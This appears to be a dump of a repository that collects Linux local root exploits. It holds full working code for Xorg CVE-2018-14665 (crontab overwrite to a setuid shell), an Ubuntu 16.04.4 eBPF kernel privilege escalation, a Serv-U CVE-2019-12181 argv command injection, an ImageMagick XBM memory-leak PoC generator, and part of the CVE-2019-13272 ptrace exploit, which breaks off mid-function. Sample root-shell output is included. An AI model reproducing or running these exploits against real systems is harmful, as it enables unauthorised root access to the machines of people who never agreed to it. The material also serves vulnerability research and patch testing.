memset(padding_arg1, ' ', padding_arg_len); 133 | 134 | const char ** const envp = calloc(envc + 1, sizeof(char *)); 135 | if (!envp) die(); 136 | { 137 | size_t envi = 0; 138 | size_t i; 139 | for (i = 0; i < protect_envc; i++) { 140 | envp[envi++] = protect_envp[i]; 141 | } 142 | for (i = 0; i < scratch_envc; i++) { 143 | envp[envi++] = scratch_env; 144 | } 145 | for (i = 0; i < onebyte_envc; i++) { 146 | envp[envi++] = ""; 147 | } 148 | for (i = 0; i < padding_envc; i++) { 149 | if (padding_env_rem) { 150 | envp[envi++] = padding_env1; 151 | padding_env_rem = 0; 152 | } else { 153 | envp[envi++] = padding_env; 154 | } 155 | } 156 | if (envi != envc) die(); 157 | if (envp[envc] != NULL) die(); 158 | if (padding_env_rem) die(); 159 | } 160 | 161 | const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1); 162 | const size_t filemap_nptr = filemap_size / sizeof(char *); 163 | char filemap_name[] = _PATH_TMP "argv.XXXXXX"; 164 | const int filemap_fd = mkstemp(filemap_name); 165 | if (filemap_fd <= -1) die(); 166 | if (unlink(filemap_name)) die(); 167 | { 168 | size_t i; 169 | for (i = 0; i < filemap_nptr; i++) { 170 | const char * const ptr = padding_arg; 171 | if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die(); 172 | } 173 | } 174 | { 175 | struct stat st; 176 | if (fstat(filemap_fd, &st)) die(); 177 | if ((size_t)st.st_size != filemap_size) die(); 178 | } 179 | 180 | const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 181 | if (argv == MAP_FAILED) die(); 182 | if (protect_argc > PAGESZ / sizeof(char *)) die(); 183 | if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die(); 184 | { 185 | size_t argi = 0; 186 | { 187 | size_t i; 188 | for (i = 0; i < protect_argc; i++) { 189 | argv[argi++] = protect_argv[i]; 190 | } 191 | } 192 | { 193 | size_t n = padding_argc; 194 | while (n) { 195 | void * const argp = &argv[argi]; 196 | if (((uintptr_t)argp & (PAGESZ-1)) == 0) { 197 | if (padding_arg_rem || n < filemap_nptr) { 198 | if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die(); 199 | } else { 200 | if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die(); 201 | argi += filemap_nptr; 202 | n -= filemap_nptr; 203 | continue; 204 | } 205 | } 206 | if (padding_arg_rem) { 207 | argv[argi++] = padding_arg1; 208 | padding_arg_rem--; 209 | } else { 210 | argv[argi++] = padding_arg; 211 | } 212 | n--; 213 | } 214 | } 215 | if (argi != argc) die(); 216 | if (argv[argc] != NULL) die(); 217 | if (padding_arg_rem) die(); 218 | } 219 | 220 | { 221 | static const struct rlimit stack_limit = { 222 | .rlim_cur = RLIM_INFINITY, 223 | .rlim_max = RLIM_INFINITY, 224 | }; 225 | if (setrlimit(RLIMIT_STACK, &stack_limit)) die(); 226 | } 227 | execve(argv[0], (char * const *)argv, (char * const *)envp); 228 | die(); 229 | } 230 | -------------------------------------------------------------------------------- /2018/CVE-2018-14665/poc.py: -------------------------------------------------------------------------------- 1 | # Exploit Title: xorg-x11-server < 1.20.1 - Local Privilege Escalation (RHEL 7) 2 | # Date: 2018-11-07 3 | # Exploit Author: @bolonobolo 4 | # Vendor Homepage: https://www.x.org/ 5 | # Version: 1.19.5 6 | # Tested on: RHEL 7.3 && 7.5 7 | # CVE : CVE-2018-14665 8 | # Explanation 9 | # The only condition that have to be met for this PE to work via SSH, is that the legitimate non-root user 10 | # has to be logged in trought console at the moment the PE script launched. 11 | # In fact during the logged in session of the legitimate non-root user, 12 | # a file with the name of the non-root user will be created in the /var/run/console folder. 13 | # With that file present, the same non-root user can launch a Xorg command via SSH. 14 | # 15 | # Usage: $ python poc.py 16 | # $ python poc.py 17 | # [*] Waiting for bolo to connect to the console 18 | # [*] OK --> bolo console opened 19 | # [*] Building root shell wait 2 minutes 20 | # [*] crontab overwritten 21 | # 22 | # ... cut Xorg output ... 23 | # 24 | # [*] Xorg killed 25 | # (II) Server terminated successfully (0). Closing log file. 26 | # [*] Don't forget to cleanup /etc/crontab and /tmp dir 27 | # sh-4.2# id && whoami 28 | # uid=0(root) gid=0(root) gruppi=0(root),1001(bolo) 29 | # root 30 | # sh-4.2# 31 | 32 | 33 | #!/usr/bin/python 34 | import os 35 | import getpass 36 | import subprocess 37 | 38 | userList = [] 39 | path="/var/run/console/" 40 | 41 | def getWhoami(): 42 | return getpass.getuser() 43 | 44 | def getConsole(path): 45 | p = subprocess.Popen(["ls", path], stdout=subprocess.PIPE) 46 | (console, err) = p.communicate() 47 | consoleList = str.splitlines(console) 48 | return consoleList 49 | 50 | def payload(): 51 | f = open("/tmp/payload", "w") 52 | payload = ("cp /bin/sh /usr/local/bin/shell\n" 53 | "echo \"#include \" > /tmp/shell.c\n" 54 | "echo \"#include \" >> /tmp/shell.c\n" 55 | "echo \"#include \" >> /tmp/shell.c\n" 56 | "echo \"#include \" >> /tmp/shell.c\n" 57 | "echo 'int main(){setuid(0);setgid(0);system(\"/bin/sh\");}' >> /tmp/shell.c\n" 58 | "gcc /tmp/shell.c -o /usr/local/bin/shell\n" 59 | "chmod 4777 /usr/local/bin/shell\n") 60 | f.write(payload) 61 | 62 | def executePayload(): 63 | os.system("chmod +x /tmp/payload") 64 | os.system("cd /etc; Xorg -fp \"* * * * * root /tmp/payload\" -logfile crontab :1 &") 65 | print "[*] crontab overwritten" 66 | os.system("sleep 5") 67 | os.system("pkill Xorg") 68 | print "[*] Xorg killed" 69 | os.system("sleep 120") 70 | return 71 | 72 | def main(): 73 | whoami = getWhoami() 74 | print "[*] Waiting for " + whoami + " to connect to the console" 75 | i = 0 76 | while (i == 0): 77 | consoleList = getConsole(path) 78 | for user in consoleList: 79 | if user == whoami : 80 | print "[*] OK --> " + user + " console opened" 81 | i = 1 82 | print "[*] Building root shell wait 2 minutes" 83 | payload() 84 | executePayload() 85 | print "[*] Don't forget to cleanup /etc/crontab and /tmp dir" 86 | os.system("/usr/local/bin/shell") 87 | 88 | if __name__ == '__main__': 89 | main() 90 | -------------------------------------------------------------------------------- /2018/CVE-2018-16323/exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | help() { 4 | echo "Usage poc generator: `basename $0` gen WIDTHxHEIGHT NAME.xbm [minimal]" 5 | echo " Example gen: `basename $0` gen 512x512 poc.xbm" 6 | echo "Usage result recovery: `basename $0` recover SAVED_PREVIEW.png|jpeg|gif|etc" 7 | echo " Example recovery: `basename $0` recover avatar.png" 8 | } 9 | if [ "$1" == "-h" ]; then 10 | help; 11 | exit 0 12 | fi 13 | if [ "$1" == "gen" ]; then 14 | echo "Generating..." 15 | convert -size $2 xc:white $3 16 | sed -i '0,/0x../s//0x80000001/' $3 17 | if [ "$4" == "minimal" ]; then 18 | echo "Shrink to minimal body size mode" 19 | sed -i 's/0x00//g' $3 20 | sed -i 's/,//g' $3 21 | sed -i '/^\s*$/d' $3 22 | fi 23 | echo "Done" 24 | exit 0 25 | fi 26 | if [ "$1" == "recover" ]; then 27 | convert $2 temp.xbm 28 | cat temp.xbm | grep -o '0x..' | xxd -r -p | strings -3 29 | rm temp.xbm 30 | exit 0 31 | fi 32 | help; 33 | -------------------------------------------------------------------------------- /2018/Ubuntu_16.04.4.txt: -------------------------------------------------------------------------------- 1 | /* 2 | * Ubuntu 16.04.4 kernel priv esc 3 | * 4 | * all credits to @bleidl 5 | * - vnik 6 | */ 7 | 8 | // Tested on: 9 | // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 10 | // if different kernel adjust CRED offset + check kernel stack size 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #define PHYS_OFFSET 0xffff880000000000 27 | #define CRED_OFFSET 0x5f8 28 | #define UID_OFFSET 4 29 | #define LOG_BUF_SIZE 65536 30 | #define PROGSIZE 328 31 | 32 | int sockets[2]; 33 | int mapfd, progfd; 34 | 35 | char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" 36 | "\x55\x09\x02\x00\xff\xff\xff\xff" 37 | "\xb7\x00\x00\x00\x00\x00\x00\x00" 38 | "\x95\x00\x00\x00\x00\x00\x00\x00" 39 | "\x18\x19\x00\x00\x03\x00\x00\x00" 40 | "\x00\x00\x00\x00\x00\x00\x00\x00" 41 | "\xbf\x91\x00\x00\x00\x00\x00\x00" 42 | "\xbf\xa2\x00\x00\x00\x00\x00\x00" 43 | "\x07\x02\x00\x00\xfc\xff\xff\xff" 44 | "\x62\x0a\xfc\xff\x00\x00\x00\x00" 45 | "\x85\x00\x00\x00\x01\x00\x00\x00" 46 | "\x55\x00\x01\x00\x00\x00\x00\x00" 47 | "\x95\x00\x00\x00\x00\x00\x00\x00" 48 | "\x79\x06\x00\x00\x00\x00\x00\x00" 49 | "\xbf\x91\x00\x00\x00\x00\x00\x00" 50 | "\xbf\xa2\x00\x00\x00\x00\x00\x00" 51 | "\x07\x02\x00\x00\xfc\xff\xff\xff" 52 | "\x62\x0a\xfc\xff\x01\x00\x00\x00" 53 | "\x85\x00\x00\x00\x01\x00\x00\x00" 54 | "\x55\x00\x01\x00\x00\x00\x00\x00" 55 | "\x95\x00\x00\x00\x00\x00\x00\x00" 56 | "\x79\x07\x00\x00\x00\x00\x00\x00" 57 | "\xbf\x91\x00\x00\x00\x00\x00\x00" 58 | "\xbf\xa2\x00\x00\x00\x00\x00\x00" 59 | "\x07\x02\x00\x00\xfc\xff\xff\xff" 60 | "\x62\x0a\xfc\xff\x02\x00\x00\x00" 61 | "\x85\x00\x00\x00\x01\x00\x00\x00" 62 | "\x55\x00\x01\x00\x00\x00\x00\x00" 63 | "\x95\x00\x00\x00\x00\x00\x00\x00" 64 | "\x79\x08\x00\x00\x00\x00\x00\x00" 65 | "\xbf\x02\x00\x00\x00\x00\x00\x00" 66 | "\xb7\x00\x00\x00\x00\x00\x00\x00" 67 | "\x55\x06\x03\x00\x00\x00\x00\x00" 68 | "\x79\x73\x00\x00\x00\x00\x00\x00" 69 | "\x7b\x32\x00\x00\x00\x00\x00\x00" 70 | "\x95\x00\x00\x00\x00\x00\x00\x00" 71 | "\x55\x06\x02\x00\x01\x00\x00\x00" 72 | "\x7b\xa2\x00\x00\x00\x00\x00\x00" 73 | "\x95\x00\x00\x00\x00\x00\x00\x00" 74 | "\x7b\x87\x00\x00\x00\x00\x00\x00" 75 | "\x95\x00\x00\x00\x00\x00\x00\x00"; 76 | 77 | char bpf_log_buf[LOG_BUF_SIZE]; 78 | 79 | static int bpf_prog_load(enum bpf_prog_type prog_type, 80 | const struct bpf_insn *insns, int prog_len, 81 | const char *license, int kern_version) { 82 | union bpf_attr attr = { 83 | .prog_type = prog_type, 84 | .insns = (__u64)insns, 85 | .insn_cnt = prog_len / sizeof(struct bpf_insn), 86 | .license = (__u64)license, 87 | .log_buf = (__u64)bpf_log_buf, 88 | .log_size = LOG_BUF_SIZE, 89 | .log_level = 1, 90 | }; 91 | 92 | attr.kern_version = kern_version; 93 | 94 | bpf_log_buf[0] = 0; 95 | 96 | return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); 97 | } 98 | 99 | static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, 100 | int max_entries) { 101 | union bpf_attr attr = { 102 | .map_type = map_type, 103 | .key_size = key_size, 104 | .value_size = value_size, 105 | .max_entries = max_entries 106 | }; 107 | 108 | return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); 109 | } 110 | 111 | static int bpf_update_elem(uint64_t key, uint64_t value) { 112 | union bpf_attr attr = { 113 | .map_fd = mapfd, 114 | .key = (__u64)&key, 115 | .value = (__u64)&value, 116 | .flags = 0, 117 | }; 118 | 119 | return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); 120 | } 121 | 122 | static int bpf_lookup_elem(void *key, void *value) { 123 | union bpf_attr attr = { 124 | .map_fd = mapfd, 125 | .key = (__u64)key, 126 | .value = (__u64)value, 127 | }; 128 | 129 | return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); 130 | } 131 | 132 | static void __exit(char *err) { 133 | fprintf(stderr, "error: %s\n", err); 134 | exit(-1); 135 | } 136 | 137 | static void prep(void) { 138 | mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); 139 | if (mapfd < 0) 140 | __exit(strerror(errno)); 141 | 142 | progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, 143 | (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); 144 | 145 | if (progfd < 0) 146 | __exit(strerror(errno)); 147 | 148 | if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) 149 | __exit(strerror(errno)); 150 | 151 | if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) 152 | __exit(strerror(errno)); 153 | } 154 | 155 | static void writemsg(void) { 156 | char buffer[64]; 157 | 158 | ssize_t n = write(sockets[0], buffer, sizeof(buffer)); 159 | 160 | if (n < 0) { 161 | perror("write"); 162 | return; 163 | } 164 | if (n != sizeof(buffer)) 165 | fprintf(stderr, "short write: %lu\n", n); 166 | } 167 | 168 | #define __update_elem(a, b, c) \ 169 | bpf_update_elem(0, (a)); \ 170 | bpf_update_elem(1, (b)); \ 171 | bpf_update_elem(2, (c)); \ 172 | writemsg(); 173 | 174 | static uint64_t get_value(int key) { 175 | uint64_t value; 176 | 177 | if (bpf_lookup_elem(&key, &value)) 178 | __exit(strerror(errno)); 179 | 180 | return value; 181 | } 182 | 183 | static uint64_t __get_fp(void) { 184 | __update_elem(1, 0, 0); 185 | 186 | return get_value(2); 187 | } 188 | 189 | static uint64_t __read(uint64_t addr) { 190 | __update_elem(0, addr, 0); 191 | 192 | return get_value(2); 193 | } 194 | 195 | static void __write(uint64_t addr, uint64_t val) { 196 | __update_elem(2, addr, val); 197 | } 198 | 199 | static uint64_t get_sp(uint64_t addr) { 200 | return addr & ~(0x4000 - 1); 201 | } 202 | 203 | static void pwn(void) { 204 | uint64_t fp, sp, task_struct, credptr, uidptr; 205 | 206 | fp = __get_fp(); 207 | if (fp < PHYS_OFFSET) 208 | __exit("bogus fp"); 209 | 210 | sp = get_sp(fp); 211 | if (sp < PHYS_OFFSET) 212 | __exit("bogus sp"); 213 | 214 | task_struct = __read(sp); 215 | 216 | if (task_struct < PHYS_OFFSET) 217 | __exit("bogus task ptr"); 218 | 219 | printf("task_struct = %lx\n", task_struct); 220 | 221 | credptr = __read(task_struct + CRED_OFFSET); // cred 222 | 223 | if (credptr < PHYS_OFFSET) 224 | __exit("bogus cred ptr"); 225 | 226 | uidptr = credptr + UID_OFFSET; // uid 227 | if (uidptr < PHYS_OFFSET) 228 | __exit("bogus uid ptr"); 229 | 230 | printf("uidptr = %lx\n", uidptr); 231 | __write(uidptr, 0); // set both uid and gid to 0 232 | 233 | if (getuid() == 0) { 234 | printf("spawning root shell\n"); 235 | system("/bin/bash"); 236 | exit(0); 237 | } 238 | 239 | __exit("not vulnerable?"); 240 | } 241 | 242 | int main(int argc, char **argv) { 243 | prep(); 244 | pwn(); 245 | 246 | return 0; 247 | } 248 | -------------------------------------------------------------------------------- /2018/ubuntu_16.04.4_2018.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2018/ubuntu_16.04.4_2018.out -------------------------------------------------------------------------------- /2019/CVE-2019-12181/SUroot: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # SUroot - Local root exploit for Serv-U FTP Server versions prior to 15.1.7 (CVE-2019-12181) 3 | # Bash variant of Guy Levin's Serv-U FTP Server exploit: 4 | # - https://github.com/guywhataguy/CVE-2019-12181 5 | # --- 6 | # user@debian-9-6-0-x64-xfce:~/Desktop$ ./SUroot 7 | # [*] Launching Serv-U ... 8 | # sh: 1: : Permission denied 9 | # [+] Success: 10 | # -rwsr-xr-x 1 root root 117208 Jun 28 23:21 /tmp/sh 11 | # [*] Launching root shell: /tmp/sh 12 | # sh-4.4# id 13 | # uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),117(scanner) 14 | # --- 15 | # 16 | # https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181 17 | 18 | if ! test -u "/usr/local/Serv-U/Serv-U"; then 19 | echo '[-] /usr/local/Serv-U/Serv-U is not setuid root' 20 | exit 1 21 | fi 22 | 23 | echo "[*] Launching Serv-U ..." 24 | 25 | /bin/bash -c 'exec -a "\";cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx /tmp/sh;\"" /usr/local/Serv-U/Serv-U -prepareinstallation' 26 | 27 | if ! test -u "/tmp/sh"; then 28 | echo '[-] Failed' 29 | /bin/rm "/tmp/sh" 30 | exit 1 31 | fi 32 | 33 | echo '[+] Success:' 34 | /bin/ls -la /tmp/sh 35 | 36 | echo "[*] Launching root shell: /tmp/sh" 37 | /tmp/sh -p 38 | -------------------------------------------------------------------------------- /2019/CVE-2019-13272/pwned: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2019/CVE-2019-13272/pwned -------------------------------------------------------------------------------- /2019/CVE-2019-13272/pwned.c: -------------------------------------------------------------------------------- 1 | // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) 2 | // Uses pkexec technique 3 | // --- 4 | // Original discovery and exploit author: Jann Horn 5 | // - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 6 | // --- 7 | // 8 | // - added known helper paths 9 | // - added search for suitable helpers 10 | // - added automatic targeting 11 | // - changed target suid exectuable from passwd to pkexec 12 | // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272 13 | // --- 14 | // Tested on: 15 | // - Ubuntu 16.04.5 kernel 4.15.0-29-generic 16 | // - Ubuntu 18.04.1 kernel 4.15.0-20-generic 17 | // - Ubuntu 19.04 kernel 5.0.0-15-generic 18 | // - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic 19 | // - Linux Mint 19 kernel 4.15.0-20-generic 20 | // - Xubuntu 16.04.4 kernel 4.13.0-36-generic 21 | // - ElementaryOS 0.4.1 4.8.0-52-generic 22 | // - Backbox 6 kernel 4.18.0-21-generic 23 | // - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64 24 | // - Kali kernel 4.19.0-kali5-amd64 25 | // - Redcore 1806 (LXQT) kernel 4.16.16-redcore 26 | // - MX 18.3 kernel 4.19.37-2~mx17+1 27 | // - RHEL 8.0 kernel 4.18.0-80.el8.x86_64 28 | // - Debian 9.4.0 kernel 4.9.0-6-amd64 29 | // - Debian 10.0.0 kernel 4.19.0-5-amd64 30 | // - Devuan 2.0.0 kernel 4.9.0-6-amd64 31 | // - SparkyLinux 5.8 kernel 4.19.0-5-amd64 32 | // - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64 33 | // - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO 34 | // - Mageia 6 kernel 4.9.35-desktop-1.mga6 35 | // - Antergos 18.7 kernel 4.17.6-1-ARCH 36 | // --- 37 | // user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root 38 | // user@linux-mint-19-2:~$ ./ptrace_traceme_root 39 | // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) 40 | // [.] Checking environment ... 41 | // [~] Done, looks good 42 | // [.] Searching for known helpers ... 43 | // [~] Found known helper: /usr/sbin/mate-power-backlight-helper 44 | // [.] Using helper: /usr/sbin/mate-power-backlight-helper 45 | // [.] Spawning suid process (/usr/bin/pkexec) ... 46 | // [.] Tracing midpid ... 47 | // [~] Attached to midpid 48 | // To run a command as administrator (user "root"), use "sudo ". 49 | // See "man sudo_root" for details. 50 | // 51 | // root@linux-mint-19-2:/home/user# 52 | // --- 53 | 54 | #define _GNU_SOURCE 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include 72 | 73 | #define DEBUG 74 | 75 | #ifdef DEBUG 76 | # define dprintf printf 77 | #else 78 | # define dprintf 79 | #endif 80 | 81 | #define SAFE(expr) ({ \ 82 | typeof(expr) __res = (expr); \ 83 | if (__res == -1) { \ 84 | dprintf("[-] Error: %s\n", #expr); \ 85 | return 0; \ 86 | } \ 87 | __res; \ 88 | }) 89 | #define max(a,b) ((a)>(b) ? (a) : (b)) 90 | 91 | static const char *SHELL = "/bin/bash"; 92 | 93 | static int middle_success = 1; 94 | static int block_pipe[2]; 95 | static int self_fd = -1; 96 | static int dummy_status; 97 | static const char *helper_path; 98 | static const char *pkexec_path = "/usr/bin/pkexec"; 99 | static const char *pkaction_path = "/usr/bin/pkaction"; 100 | struct stat st; 101 | 102 | const char *helpers[1024]; 103 | 104 | const char *known_helpers[] = { 105 | "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", 106 | "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", 107 | "/usr/lib/unity-settings-daemon/usd-backlight-helper", 108 | "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", 109 | "/usr/sbin/mate-power-backlight-helper", 110 | "/usr/bin/xfpm-power-backlight-helper", 111 | "/usr/bin/lxqt-backlight_backend", 112 | "/usr/libexec/gsd-wacom-led-helper", 113 | "/usr/libexec/gsd-wacom-oled-helper", 114 | "/usr/libexec/gsd-backlight-helper", 115 | "/usr/lib/gsd-backlight-helper", 116 | "/usr/lib/gsd-wacom-led-helper", 117 | "/usr/lib/gsd-wacom-oled-helper", 118 | }; 119 | 120 | /* temporary printf; returned pointer is valid until next tprintf */ 121 | static char *tprintf(char *fmt, ...) { 122 | static char buf[10000]; 123 | va_list ap; 124 | va_start(ap, fmt); 125 | vsprintf(buf, fmt, ap); 126 | va_end(ap); 127 | return buf; 128 | } 129 | 130 | /* 131 | * fork, execute pkexec in parent, force parent to trace our child process, 132 | * execute suid executable (pkexec) in child. 133 | */ 134 | static int middle_main(void *dummy) { 135 | prctl(PR_SET_PDEATHSIG, SIGKILL); 136 | pid_t middle = getpid(); 137 | 138 | self_fd = SAFE(open("/proc/self/exe", O_RDONLY)); 139 | 140 | pid_t child = SAFE(fork()); 141 | if (child == 0) { 142 | prctl(PR_SET_PDEATHSIG, SIGKILL); 143 | 144 | SAFE(dup2(self_fd, 42)); 145 | 146 | /* spin until our parent becomes privileged (have to be fast here) */ 147 | int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY)); 148 | char *needle = tprintf("\nUid:\t%d\t0\t", getuid()); 149 | while (1) { 150 | char buf[1000]; 151 | ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0)); 152 | buf[buflen] = '\0'; 153 | if (strstr(buf, needle)) break; 154 | } 155 | 156 | /* 157 | * this is where the bug is triggered. 158 | * while our parent is in the middle of pkexec, we force it to become our 159 | * tracer, with pkexec's creds as ptracer_cred. 160 | */ 161 | SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); 162 | 163 | /* 164 | * now we execute a suid executable (pkexec). 165 | * Because the ptrace relationship is considered to be privileged, 166 | * this is a proper suid execution despite the attached tracer, 167 | * not a degraded one. 168 | * at the end of execve(), this process receives a SIGTRAP from ptrace. 169 | */ 170 | execl(pkexec_path, basename(pkexec_path), NULL); 171 | 172 | dprintf("[-] execl: Executing suid executable failed"); 173 | exit(EXIT_FAILURE); 174 | } 175 | 176 | SAFE(dup2(self_fd, 0)); 177 | SAFE(dup2(block_pipe[1], 1)); 178 | 179 | /* execute pkexec as current user */ 180 | struct passwd *pw = getpwuid(getuid()); 181 | if (pw == NULL) { 182 | dprintf("[-] getpwuid: Failed to retrieve username"); 183 | exit(EXIT_FAILURE); 184 | } 185 | 186 | middle_success = 1; 187 | execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name, 188 | helper_path, 189 | "--help", NULL); 190 | middle_success = 0; 191 | dprintf("[-] execl: Executing pkexec failed"); 192 | exit(EXIT_FAILURE); 193 | } 194 | 195 | /* ptrace pid and wait for signal */ 196 | static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { 197 | struct user_regs_struct regs; 198 | struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) }; 199 | SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); 200 | SAFE(waitpid(pid, &dummy_status, 0)); 201 | SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov)); 202 | 203 | /* set up indirect arguments */ 204 | unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL; 205 | struct injected_page { 206 | unsigned long argv[2]; 207 | unsigned long envv[1]; 208 | char arg0[8]; 209 | char path[1]; 210 | } ipage = { 211 | .argv = { scratch_area + offsetof(struct injected_page, arg0) } 212 | }; 213 | strcpy(ipage.arg0, arg0); 214 | for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) { 215 | unsigned long pdata = ((unsigned long *)&ipage)[i]; 216 | SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), 217 | (void*)pdata)); 218 | } 219 | 220 | /* execveat(exec_fd, path, argv, envv, flags) */ 221 | regs.orig_rax = __NR_execveat; 222 | regs.rdi = exec_fd; 223 | regs.rsi = scratch_area + offsetof(struct injected_page, path); 224 | regs.rdx = scratch_area + offsetof(struct injected_page, argv); 225 | regs.r10 = scratch_area + offsetof(struct injected_page, envv); 226 | regs.r8 = AT_EMPTY_PATH; 227 | 228 | SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); 229 | SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); 230 | SAFE(waitpid(pid, &dummy_status, 0)); 231 | } 232 | 233 | static int middle_stage2(void) { 234 | /* our child is hanging in signal delivery from execve()'s SIGTRAP */ 235 | pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); 236 | force_exec_and_wait(child, 42, "stage3"); 237 | return 0; 238 | } 239 | 240 | // * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * * 241 | 242 | static int spawn_shell(void) { 243 | SAFE(setresgid(0, 0, 0)); 244 | SAFE(setresuid(0, 0, 0)); 245 | execlp(SHELL, basename(SHELL), NULL); 246 | dprintf("[-] execlp: Executing shell %s failed", SHELL); 247 | exit(EXIT_FAILURE); 248 | } 249 | 250 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * * 251 | 252 | static int check_env(void) { 253 | const char* xdg_session = getenv("XDG_SESSION_ID"); 254 | 255 | dprintf("[.] Checking environment ...\n"); 256 | 257 | if (stat(pkexec_path, &st) != 0) { 258 | dprintf("[-] Could not find pkexec executable at %s", pkexec_path); 259 | exit(EXIT_FAILURE); 260 | } 261 | if (stat(pkaction_path, &st) != 0) { 262 | dprintf("[-] Could not find pkaction executable at %s", pkaction_path); 263 | exit(EXIT_FAILURE); 264 | } 265 | if (xdg_session == NULL) { 266 | dprintf("[!] Warning: $XDG_SESSION_ID is not set\n"); 267 | return 1; 268 | } 269 | if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { 270 | dprintf("[!] Warning: Could not find active PolKit agent\n"); 271 | return 1; 272 | } 273 | if (stat("/usr/sbin/getsebool", &st) == 0) { 274 | if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) { 275 | dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); 276 | return 1; 277 | } 278 | } 279 | 280 | dprintf("[~] Done, looks good\n"); 281 | 282 | return 0; 283 | } 284 | 285 | /* 286 | * Use pkaction to search PolKit policy actions for viable helper executables. 287 | * Check each action for allow_active=yes, extract the associated helper path, 288 | * and check the helper path exists. 289 | */ 290 | int find_helpers() { 291 | char cmd[1024]; 292 | snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path); 293 | FILE *fp; 294 | fp = popen(cmd, "r"); 295 | if (fp == NULL) { 296 | dprintf("[-] Failed to run: %s\n", cmd); 297 | exit(EXIT_FAILURE); 298 | } 299 | 300 | char line[1024]; 301 | char buffer[2048]; 302 | int helper_index = 0; 303 | int useful_action = 0; 304 | static const char *needle = "org.freedesktop.policykit.exec.path -> "; 305 | int needle_length = strlen(needle); 306 | 307 | while (fgets(line, sizeof(line)-1, fp) != NULL) { 308 | /* check the action uses allow_active=yes*/ 309 | if (strstr(line, "implicit active:")) { 310 | if (strstr(line, "yes")) { 311 | useful_action = 1; 312 | } 313 | continue; 314 | } 315 | 316 | if (useful_action == 0) 317 | continue; 318 | useful_action = 0; 319 | 320 | /* extract the helper path */ 321 | int length = strlen(line); 322 | char* found = memmem(&line[0], length, needle, needle_length); 323 | if (found == NULL) 324 | continue; 325 | 326 | memset(buffer, 0, 